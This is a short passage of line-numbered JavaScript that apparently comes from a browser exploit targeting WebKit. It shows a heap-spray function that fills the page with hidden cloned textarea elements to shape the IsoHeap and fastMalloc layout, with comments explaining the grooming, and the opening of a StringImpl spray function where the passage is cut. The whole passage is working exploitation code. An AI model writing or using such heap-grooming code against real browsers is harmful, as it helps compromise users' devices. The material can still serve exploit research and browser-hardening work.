| 413 | |
| 414 | /* HTMLElement spray */ |
| 415 | function sprayHTMLTextArea() { |
| 416 | debug_log("[+] Spraying HTMLTextareaElement ..."); |
| 417 | |
| 418 | let textarea_div_elem = g_textarea_div_elem = document.createElement("div"); |
| 419 | document.body.appendChild(textarea_div_elem); |
| 420 | textarea_div_elem.id = "div1"; |
| 421 | var element = document.createElement("textarea"); |
| 422 | |
| 423 | /* Add a style to avoid textarea display */ |
| 424 | element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;'; |
| 425 | |
| 426 | /* |
| 427 | * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc |
| 428 | * allocation of the node attributes and an IsoHeap allocation of the |
| 429 | * Element. The virtual page layout will look something like that: |
| 430 | * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...] |
| 431 | */ |
| 432 | for (let i = 0; i < SPRAY_ELEM_SIZE; i++) |
| 433 | textarea_div_elem.appendChild(element.cloneNode()); |
| 434 | } |
| 435 | |
| 436 | /* StringImpl Spray */ |
| 437 | function sprayStringImpl(start, end) { |